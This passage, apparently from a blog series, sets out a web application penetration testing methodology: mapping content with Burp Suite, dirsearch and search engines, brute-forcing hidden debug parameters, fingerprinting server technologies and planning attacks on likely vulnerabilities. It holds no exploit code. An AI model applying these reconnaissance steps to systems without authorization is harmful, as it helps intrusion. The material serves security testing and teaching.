1.3: As you browse, monitor the requests and responses passing through your intercepting proxy to gain an understanding of the kinds of data being submitted and the ways in which the client is used to control the behavior of the server-side application.

1.4: Run passive spidering using burp suite to identify any content or functionality that you have not walked through using your browser.

2: Use internet search engines

2.1: Use advanced search options to improve the effectiveness of your research. For example, on Google you can use site: to retrieve all the content for your target site. Check the Maximize Search Results post.

2.2: Perform searches on any names and e-mail addresses you have discovered in the application’s content, such as contact information. Include items not rendered on-screen, such as HTML comments.

2.3: Look for any technical details posted to Internet forums regarding the target application and its supporting infrastructure.

3: Discover hidden content

3.1: Confirm how the application handles requests for non-existent items. Make some manual requests for known valid and invalid resources, and compare the server’s responses to establish an easy way to identify when an item does not exist.

3.2: Try to understand the naming conventions used by application developers. For example, if there are pages called AddDocument.jsp and ViewDocument.jsp, there may also be pages called EditDocument.jsp and RemoveDocument.jsp.

3.3: Review all client-side code to identify any clues about hidden server-side content, including HTML comments.

3.4: Use automation to discover more content. There are two great tools that can help you with this stage, dirbuster and dirsearch. For me , I prefer dirsearch.

4: Enumerate Identifier Specified Functions

Identify any instances where specific application functions are accessed by passing an identifier of the function in a request parameter (for example, /admin.jsp?action=editUser or /main.php?func=A21. If the application uses a parameter containing a function name, first determine its behavior when an invalid function is specified, and try to establish an easy way to identify when a valid function has been requested.

5: Debug parameter

Choose one or more application pages or functions where hidden debug parameters (such as debug=true) may be implemented. These are most likely to appear in key functionality such as login, search, and fi le upload or download. Use listings of common debug parameter names (such as debug, test, hide, and source) and common values (such as true, yes, on, and 1). Iterate through all permutations of these, submitting each name/value pair to each targeted function. For POST requests, supply the parameter in both the URL query string and the request body. You can use the cluster bomb attack type in Burp Intruder to combine all permutations of two payload lists.

Analyze the application.

1: Identify the functionality

Identify the core security mechanisms employed by the application and how they work. In particular, understand the key mechanisms that handle authentication, session management, and access control, and the functions that support them, such as user registration and account recovery.

2: Data entry points

Identify all the different entry points that exist for introducing user input into the application’s processing, including URLs, query string parameters, POST data, cookies, and other HTTP headers processed by the application

3: Identify technologies

3.1: As far as possible, establish which technologies are being used on the server side, including scripting languages, application platforms, and interaction with back-end components such as databases and e-mail systems.

3.2: Check the HTTP Server header returned in application responses, and also check for any other software identifi ers contained within custom HTTP headers or HTML source code comments. Note that in some cases, different areas of the application are handled by different back-end components, so different banners may be received.

3.3: Review the results of your content-mapping exercises to identify any interesting-looking file extensions, directories, or other URL subsequences that may provide clues about the technologies in use on the server. Review the names of any session tokens and other cookies issued. Use Google to search for technologies associated with these items.

4: Map the Attack Surface

4.1: For each item of functionality, identify the kinds of common vulnerabilities that are often associated with it. For example, fi le upload functions may be vulnerable to path traversal, inter-user messaging may be vulnerable to XSS, and Contact Us functions may be vulnerable to SMTP injection.

4.2: Formulate a plan of attack, prioritizing the most interesting-looking functionality and the most serious of the potential vulnerabilities associated with it. Use your plan to guide the amount of time and effort you devote to each of the remaining areas of this methodology.

In the next part we are going to discuss the client side controls.